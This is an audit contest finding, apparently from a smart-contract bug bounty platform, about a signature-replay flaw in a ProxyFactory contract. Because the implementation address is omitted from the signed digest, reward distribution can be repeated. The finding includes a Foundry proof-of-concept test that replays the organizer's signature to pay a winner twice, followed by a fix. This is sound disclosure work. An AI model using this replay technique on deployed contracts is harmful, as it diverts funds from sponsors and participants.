Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Unauthorized Contract Deployment and Bonus Manipulation via Signature Reuse

Summary

In the deployProxyAndDistributeBySignature method of the ProxyFactory contract. The vulnerability allows any user to invoke the method by submitting a pre-signed message. However, the method's signature calculation overlooks the implementation parameter, enabling an attacker to exploit the contract by duplicating a previous signed message and triggering the deployment of another contract with bonus distribution.

Vulnerability Details

The deployProxyAndDistributeBySignature method verifies the user-provided contestId, data, and organizer to ensure that the invoked signature is only applicable for the combination of this organizer+contestId, with the calldata parameter fixed for the function call.

However, upon closer examination of the contract code, after passing the signature validation, at line 161, the _calculateSalt(organizer, contestId, implementation) method is called to compute the address of the contract to be deployed and distributed. The implementation parameter used here is not involved in the previous signature validation, which theoretically allows the use of the same signature information while switching to a different implementation parameter for executing this method.

function deployProxyAndDistributeBySignature(
address organizer,
bytes32 contestId,
address implementation,
bytes calldata signature,
bytes calldata data
) public returns (address) {
bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));
if (ECDSA.recover(digest, signature) != organizer) revert ProxyFactory__InvalidSignature();
bytes32 salt = _calculateSalt(organizer, contestId, implementation);
if (saltToCloseTime[salt] == 0) revert ProxyFactory__ContestIsNotRegistered();
if (saltToCloseTime[salt] > block.timestamp) revert ProxyFactory__ContestIsNotClosed();
address proxy = _deployProxy(organizer, contestId, implementation);
_distribute(proxy, data);
return proxy;
}

Let's consider a scenario where the same organizer uses the same contestId but different implementation addresses by calling setContest twice, creating two projects.
Under this assumption, if an attacker captures the signature information of the first project using the organizer's signature, they can immediately fill in the same signature parameter along with a different implementation address to deploy and distribute rewards for the second project.

Note: If the organizer is trusted and not malicious, the motivation for an attacker to perform this attack arises when the attacker is one of the winners parameters in the first call and wishes to obtain rewards again, as the data parameter is immutable.

Below is the complete attack example code:

  1. Prepare the contestId parameter.

  2. Obtain the address information of proxy1, corresponding to the parameter keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor)), and simulate the transfer of tokens to the sponsor role.

  3. Deploy a new implementation contract named distributor2, where the stadiumAddress in the contract is set to the new address stadiumAddress2.

  4. Simulate the transfer of tokens to the sponsor role.

  5. Create a contest for the first combination: (TEST_SIGNER+contestId+distributor).

  6. Create a contest for the second combination: (TEST_SIGNER+contestId+distributor2).

  7. Calculate the signature and call the deployProxyAndDistributeBySignature method for the first combination. Verify that the balances of user1 and stadiumAddress are 9500 ether and 500 ether, respectively.

  8. Copy the signature information from the previous call and call the deployProxyAndDistributeBySignature method for the second combination. Finally, verify that the balance of user1 is 9500*2 ether, and the balance of the new address stadiumAddress2 in distributor2 is 500 ether.

function testTwoContestAttack() public {
// 1. prepare same contestId
bytes32 contestId = keccak256(abi.encode("Contest", "001"));
// 2. send tokens to proxy1
address proxy1 = proxyFactory.getProxyAddress(keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor))), address(distributor));
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxy1, 10000 ether);
vm.stopPrank();
// 3. deploy new implemention called distributor2 with stadiumAddress2
address stadiumAddress2 = makeAddr("stadiumAddress2");
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress2);
// 4. send tokens to proxy2
address proxy2 = proxyFactory.getProxyAddress(keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor2))), address(distributor2));
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(proxy2, 10000 ether);
vm.stopPrank();
// 5. set contest for combination1: (TEST_SIGNER+contestId+distributor)
vm.startPrank(factoryAdmin);
proxyFactory.setContest(TEST_SIGNER, contestId, block.timestamp + 1 days, address(distributor));
// 6. set contest for combination2: (TEST_SIGNER+contestId+distributor2)
proxyFactory.setContest(TEST_SIGNER, contestId, block.timestamp + 1 days, address(distributor2));
vm.stopPrank();
vm.warp(7 days);
// 7. call distributeBySignature for combination1
address normalUser = makeAddr("normal-user");
vm.startPrank(normalUser);
(bytes32 digest, bytes memory sendingData, bytes memory signature) = createSignatureByASignerWithContestId(TEST_SIGNER_KEY, contestId);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, contestId, address(distributor), signature, sendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress), 500 ether);
vm.stopPrank();
// 8. copying the signature from the previous call and distribute for combination2
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
bytes memory copySignature = signature;
bytes memory copySendingData = sendingData;
assertEq(ECDSA.recover(digest, copySignature), TEST_SIGNER);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, contestId, address(distributor2), copySignature, copySendingData
);
assertEq(MockERC20(jpycv2Address).balanceOf(user1), 9500*2 ether);
assertEq(MockERC20(jpycv2Address).balanceOf(stadiumAddress2), 500 ether);
vm.stopPrank();
}
function createSignatureByASignerWithContestId(uint256 privateK, bytes32 contestId) public view returns (bytes32, bytes memory, bytes memory) {
// organizer is test signer this time
// build the digest according to EIP712 and sign it by test signer to create signature
bytes32 domainSeparatorV4 = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ProxyFactory")),
keccak256(bytes("1")),
block.chainid,
address(proxyFactory)
)
);
bytes memory sendingData = createData();
bytes32 data = keccak256(abi.encode(contestId, sendingData));
bytes32 digest = ECDSA.toTypedDataHash(domainSeparatorV4, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateK, digest);
bytes memory signature = abi.encodePacked(r, s, v);
return (digest, sendingData, signature);
}

Impact

Unauthorized contract deployment: The vulnerability allows attackers to exploit the system by reusing previously signed messages and deploying unauthorized contracts. This can lead to the deployment of malicious or unverified contracts, compromising the integrity and security of the system.

Unintended bonus distribution: Attackers can manipulate the bonus distribution process by leveraging the vulnerability. By duplicating signed messages and switching the implementation parameter, they can trigger the deployment of additional contracts and distribute bonuses incorrectly or in an undesired manner. This can result in financial losses or imbalanced distribution among participants.

Tools Used

Manual Review

Recommendations

Include all relevant parameters in signature calculation: Modify the method to incorporate the implementation parameter when calculating the signature. This ensures that the signed message includes all necessary parameters, including the implementation address, preventing the reuse of signed messages for unintended contract deployments.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.